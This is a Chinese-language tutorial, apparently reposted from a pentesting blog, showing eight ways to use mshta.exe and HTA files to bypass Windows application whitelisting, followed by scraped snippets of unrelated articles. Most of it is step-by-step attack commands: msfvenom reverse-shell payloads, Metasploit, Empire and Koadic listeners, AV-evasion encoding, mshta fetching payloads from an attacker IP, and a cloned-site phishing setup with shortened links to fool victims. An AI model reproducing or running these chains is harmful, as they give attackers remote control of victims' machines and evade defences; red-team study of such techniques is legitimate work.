使用mshta.exe绕过应用程序白名单(多种方法)

0x00 简介

很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分。HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“古老”方式之一。运行Microsoft HTML应用程序主机的Mshta.exe,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。您可以使用Microsoft MSHTA.exe工具解析这些文件。

0x01 HTA重要性

最后,利用htaccess文件或基于浏览器的分类的其他策略转移将有助于提高利用率。利用HTA文件进行基于web的攻击。HTA文件中有大量的灵活性; 你将有效地使它看起来像一个Adobe更新程序。此外,通过HTTPS使HTA文件限制不使用少许SSL拦截/阻断的发现率也是有用的。HTA记录有助于绕过防病毒,因为它们仍未被很好地识别。最后但并非不重要的HTA也可以用于网络钓鱼,取代旧的Java applet。

0x02 攻击方法

HTA攻击有多种方法,如下所示:

  • Metasploit
  • Setoolkit
  • Magic unicorn
  • Msfvenom
  • Empire
  • CactusTorch
  • Koadic
  • Great SCT

1.第一种方法:Metasploit

我们的第一种方法是在Metasploit中使用inbuild exploit。为此,请进入到kali中的终端并键入命令:msfconsole

metasploit包含“hta web server”模块,该模块生成恶意hta文件。此模块承载一个HTML应用程序(HTA),打开时将通过PowerShell运行有效负载。当用户打开HTA文件时,IE会在执行exploit之前提示用户两次。当Metasploit启动时,输入以下命令:

use exploit/windows/misc/hta_server

msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109

msf exploit(windows/misc/hta_server) > exploit

一旦exploit被执行,它将为您提供扩展名为.hta的URL链接。同时,Metasploit将启动允许您共享文件的服务器。此链接您还必须在受害者的PC上运行。使用以下命令:

mshta.exe http://192.168.1.109:8080/pKz4Kk059Nq9.hta

HTA的通常文件扩展名是.hta。我们使用了上面的命令,因为HTA被视为扩展名为.exe的任何可执行文件,因此通过mshta.exe执行。当hta由mshta.exe启动时,它使用签名的Microsoft二进制文件,允许您调用PowerShell并将exploit直接注入内存中。

执行上述命令后,您将打开一个会话。要访问会话,请输入:

sessions 1

因此,您将拥有一个meterpreter会话

2.第二种方法:Setoolkit

我们的HTA攻击方法是通过setoolkit来执行。为此,在您的kali中打开setoolkit。从菜单中选择第一个选项,输入1并选择第一个选项以选择Social-Engineering Attacks。

从下一个给定菜单中,通过输入2并选择第二个选项以选择website attack vendors

从下一个给定菜单中输入选项8以选择HTA attack method

一旦为HTA攻击选择了选项8,接下来您需要选择允许您克隆站点的选项2。选择选项2后,它将询问您要克隆的站点的URL。提供所需的URL,如我们在此提供的‘ www.ignitetechnologies.in‘

一旦您为HTA攻击选择了选项8,接下来您需要选择选项2,它将允许您克隆一个站点。一旦选择了选项2,它将询问您要克隆的站点的URL。如我们在此提供的所需的URL:www.ignitectologies.in

在给出URL之后,它将要求您选择所需的meterpreter类型。通过输入3以选择第三个meterprter reverse tcp.

键入3后按Enter键,进程将启动,您将拥有handler(multi/handler)

现在把你的恶意IP转换成短链接,当你向受害者分享此链接时,这将显示给受害者更真实的攻击

当受害者浏览上述恶意链接时,文件保存后会自动保存在受害者电脑中执行,如下图所示:

然后您将拥有一个meterpreter会话。您可以使用命令‘sysinfo‘获取受害者电脑的基本信息

3.第三种方法:Magic Unicorn

HTA攻击的下一个方法是使用unicorn的第三方工具。magic unicorn工具由Dave Kennedy开发。它是一个用户友好性的工具,它允许我们通过将shellcode直接注入内存来执行HTA攻击。该工具的最佳部分是它与Metasploit兼容,以及shellcode和cobalt strik。您可以在trustedsec.com上详细查看该软件,也可以从GitHub下载该软件,或者使用以下链接:https//github.com/trustedsec/unicorn

一旦你下载了magic unicorn。在kali的终端打开并输入:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta

执行上述命令将启动创建.hta文件的过程。上诉.hta文件将在文件夹hta-attack/中被创建。进入该文件夹,通过键入以下命令查看创建的文件列表:

cd hta_attack/

ls

现在您可以看到.hta文件,即launcher.hta。启动python服务器以便共享文件。为此,请键入:

python -m SimpleHTTPServer 80

服务器启动并运行后,在受害者PC的cmd提示符中执行以下命令:

mshta.exe http://192.168.1.109/Launcher.hta

当执行上述命令时,您将在multi/handler中激活会话。要访问会话,请键入:

sessions 1

4.第四种方法:MSFVenom

HTA攻击的下一个方法是通过msfvenom手动创建.hta文件。创建.hta文件,在kali终端中键入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f hta-psh > shell.hta

执行上述命令将创建一个.hta文件,您可以利用该文件。创建文件后,打开python服务器,通过输入以下内容将文件共享到受害者的PC:

python -m SimpleHTTPServer 80

输入以下命令运行上述文件:

mshta.exe http:192.168.1.109/shell.hta

同时,在受害者的命令提示符中运行上述文件时,启动handler以接收会话。要启动multi/handler类型:

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.109

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

因此,通过使用这种简单的方法,您将拥有您的meterpreter会话。您可以使用sysinfo查看受害者PC的基本信息。

5.第五种方法:PowerShell Empire

对于我们的下一个msbuild攻击方法,我们将使用empire。empire是一个后开发框架。到目前为止,我们已经将我们的XML工具与Metasploit匹配,但在这种方法中,我们将使用empire框架。它只是基于python的PowerShell windows代理,这使得它非常有用。Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier开发。您可以从https://github.com/EmpireProject/Empire下载此框架。

要获得empire的基本指南,请访问我们的文章:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。所以要设置一个侦听器类型

uselistener http

set Host http://192.168.1.109

set port 80

execute

使用上述命令,您将拥有一个活动的侦听器。输入back以退出侦听器,以便启动PowerShell。

对于我们的msbuild攻击,我们将使用stager。empire中的stager是一段代码段,它允许我们的恶意代码通过被感染主机上的代理运行。因此,对于这种类型:

usestager windows/hta

set Listener http

set OutFile /root/Desktop/1.hta

execute

usestager将创建一个恶意代码文件,该文件将保存在名为1.hta的outfile中。一旦文件被执行,我们将在侦听器上得到结果。通过输入以下命令运行受害者的文件:

mshta.exe http://192.168.1.109:8080/1.hta

要查看是否有会话,请打开输入命令“agents”。这样做将向您显示您拥有的会话的名称。要访问该会话请输入以下命令:

interact L924Z1WR

上面的命令将允许您访问会话

sysinfo

info

6.第六种方法:Cactustorch

Cactustorch是javascript和VBScript shellcode启动器的框架。它由Vincent Yiu开发。这个工具可以绕过许多常见的防御,这对我们来说是一个优势。需要注意的主要问题是我们在cactustorch中使用的代码是通过msfvenom创建的,然后编码到Base64中,因为它只支持它。

所以,首先让我们制作我们的恶意软件,然后加密它。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f raw > 1.bin

现在加密文件类型:

cat 1.bin |base64 -w 0

复制base64代码,以便稍后使用。

现在我们准备好了恶意软件,让我们下载cactustorch。你可以从这里下载:

https://github.com/mdsecactivebreach/CACTUSTORCH

安装完成后,在安装的文件夹内容中输入以下内容:

ls -la

./CACTUSTORCH.hta

上面的命令将启动cactustorch进行hta攻击

一旦cactustorch启动,将base64代码粘贴到下图所示的突出的代码处,这是先前复制的。

当我们添加了代码时,让我们通过键输入以下内容在受害者的PC中执行该文件:

mshta.exe http://192.168.1.109/CACTUSTORCH.hta

同时,启动multi/handler以接收会话。对于multi/handler类型:

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.109

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

在受害者的PC中执行该文件后,您将拥有一个meterpreter会话。

7.第七种方法:Koadic

我们的下一个方法是使用koadic。Koadic是一个Windows后期开发的rootkit,类似于其他渗透测试工具,如meterpreter和PowerShellEmpire。要了解更多关于Koadic的信息,请通过以下链接阅读我们关于上述框架的详细文章:https://www.hackingarticles.in/koadic-com-command-control-framework

一旦Koadic启动并运行,请输入info以获取需要提供的详细帮助信息列表,以便进行获取会话。通过查看的信息,您需要设置srvhost和endpoint。因此,要设置它们,请输入:

set srvhost 192.168.1.107

set ENDPOINT sales

run

键入以下内容,执行您在受害者PC中的文件:

http://192.168.1.107:9999/sales

您将拥有一个正在运行的会话。要知道会话类型的名称,输入以下命令:

zombies

现在要访问会话类型,请输入以下命令:

zombies 0

8.第八种方法:GreatSCT

GreatSCT是一个允许您使用Metasploit exploit并允许它绕过大多数反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。你可以从下面地址中下载:

https://github.com/GreatSCT/GreatSCT

下载并运行后,输入以下命令以访问模块:

use Bypass

查看exploit列表类型,输入list命令:

list

现在,从有exploit表中,您可以选择任何目标进行所需的攻击。但对于这种攻击,我们将使用:

use mshta/shellcode_inject/base64_migrate.py

执行命令后,输入以下命令:

generate

执行generate命令后,它会询问您要使用哪种方法。因为我们将使用msfvenom类型1来选择第一个选项。然后按enter键进入meterpreter。然后分别设置lhost和lport,即192.168.1.107和4321。

生成shellcode时,它会要求您为exploit命名。默认情况下,它将设置名称为“payload”,以便您可以提供名称,或者只需按Enter键进行默认设置。

现在,生成了两个文件。一个资源文件和另一个hta文件

现在,首先,在/usr/share/greatsct输出中输入以下命令启动python的服务器:

python -m SimpleHTTPServer 80

现在在受害者PC的命令提示符中执行hta文件

同时,使用资源文件启动multi/handler。为此,输入以下命令:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

你将拥有一个meterpreter会话

0x03 总结

所以基本上,这种类型的攻击是简单的HTA攻击,提供对远程攻击者的完全访问权限。攻击者可以使用Web技术为Windows操作系统创建恶意应用程序来克隆站点。简而言之,它通过HTA文件执行PowerShell注入,可以通过浏览器用于基于Windows的PowerShell开发。以上是用于攻击的方法。 因此,通过不同的方法学习相同的攻击通常是很方便的

原文地址:https://www.cnblogs.com/backlion/p/10491616.html

时间: 2024-08-03 21:49:08

使用mshta.exe绕过应用程序白名单(多种方法)的相关文章

绕过防护软件白名单进行渗透

现在很多的防护软件都是基于白名单的 如bit9,这时我们渗透就必须使用白名单内程序来执行命令了. bit9防护弱点描述 http://blog.codexp.org/?p=143 IEexec.exe(需安装.net framework) http://blogs.technet.com/b/heyscriptingguy/archive/2013/06/25/use-powershell-to-interact-with-the-windows-api-part-1.aspx powershe

项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法

1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Security policy requires the use of a secure connection. 原因:iOS9引入了新特性App Transport Security (ATS).详情:App Transport Security (ATS)新特性要求App内访问的网络必须使用HTTPS协议

文件上传-文件名长度绕过白名单限制

??在实际渗透中,当我们发现有文件上传的地方时,我们会尽可能地尝试所有的办法进行webshell的上传,只要能上传webshell,就说明本次渗透至少成功了一般,后续就看获得的webshell的权限情况进行下一步的操作.对于文件上传漏洞的防护来说,主要分为以下两类:白名单限制和黑名单限制,对于黑名单的限制,我们只需要寻找一些较为偏僻的可执行后缀.大小写混写以及相关操作系统的特性(如windows文件名后缀的最后会自动过滤空格以及.等)来进行绕过:对于白名单的限制来说,一般是结合解析漏洞.代码函数

nginx限速白名单配置

在<nginx限制连接数ngx_http_limit_conn_module模块>和<nginx限制请求数ngx_http_limit_req_module模块>中会对所有的IP进行限制.在某些情况下,我们不希望对某些IP进行限制,如自己的反代服务器IP,公司IP等等.这就需要白名单,将特定的IP加入到白名单中.下面来看看nginx白名单实现方法,需要结合geo和map指令来实现.geo和map指令使用方法参见下面文章.<nginx geo使用方法>和<nginx

使用UAC白名单让指定的程序不受UAC限制,很实用的哦

使用UAC白名单让指定的程序不受UAC限制 1. 关闭UAC的隐患 我的上一篇博文关于Windows_8.1/Windows7下普通用户运行软件提示需要输入管理员密码解决方法已经介绍过如何以普通用户身份运行某些需要提权的程序而不弹出"用户帐户控制设置"对话框,文中的方法是把UAC完全关闭了,确实可以避免烦人的"用户帐户控制"提示,但同时也降低了系统的安全级别. UAC(User Account Control),中文翻译为用户帐户控制,是微软在Windows Vis

利用script和scriptlet moniker绕过脚本白名单限制

没事儿看了一下subtee和enigma0x3今年在BSides Nashville 2017上的演讲,觉得这两个猥琐男简直不能再猥琐了 :-)其中有一个猥琐小技巧,又可以让我们好好hunting一番了.我这里先简单介绍一下吧: 在很多时候我们发现我们在目标机器环境里想要运行个js或者vbs脚本很困难,原因就是因为好多环境里使用了白名单限制机制只允许特定签名的脚本文件可以执行.在这样的环境里,我们应该怎么样去执行这些脚本呢? 首先在windows 7以上系统中,有这样一个目录:c:\window

IOS 应用跳转 (IOS9白名单)

跳转到指定app的实现 IOS中应用的跳转是通过URL实现的,因此在实现应用跳转之前我们要设置一下对应的URL. 图一(寻找配置软件的URL) 图二(具体配置选项) 注意: 如果IOS版本为IOS9 我们需要为app设置白名单. 实现跳转的前提是有这个app,因此我们需要把被跳转的app先运行,即安装到模拟器中. 如图三(在info中添加) 效果图四 代码: // // ViewController.m // X // // Created by ma c on 16/4/9. // Copyr

PhoneGap 白名单安全机制 navigator.app 加载外部页面返回以及退出介绍

一. Phonegap 白名单安全机制 Phonegap应用的页面大多存在于本地,但有时需要加载外部的Web页面到应用内置的浏览器 视图中已完成特定的应用功能,出于安全性考虑,PhoneGap 设立了白名单安全机制,通过它来 控制能够加载到内置浏览器视图的内容来源. Android 不通过白名单安全机制的话调用外部浏览器 IOS 不通过白名单安全的话 会直接拒绝 二.Android 配置白名单 在res/xml/config.xml这个文件里进行配置 三.IOS 配置 以及 Wp7/wp8配置白

python脚本简单检测ip合法性并添加到白名单文件

一.功能说明 有时候项目需要通过ip地址来判定是否允许访问,通常通过一个白名单地址文件来存放这些允许放行的ip,但每次打开文件编辑比较麻烦,容易出错,也不知道是否添加过,故用python写了一个自动添加白名单的脚本. 二.脚本内容 #!/usr/bin/env python #coding:utf-8 #2017-06-09 ver:1.0 import sys white_list="white_list.txt" add_ip=sys.argv[1].strip() checkIp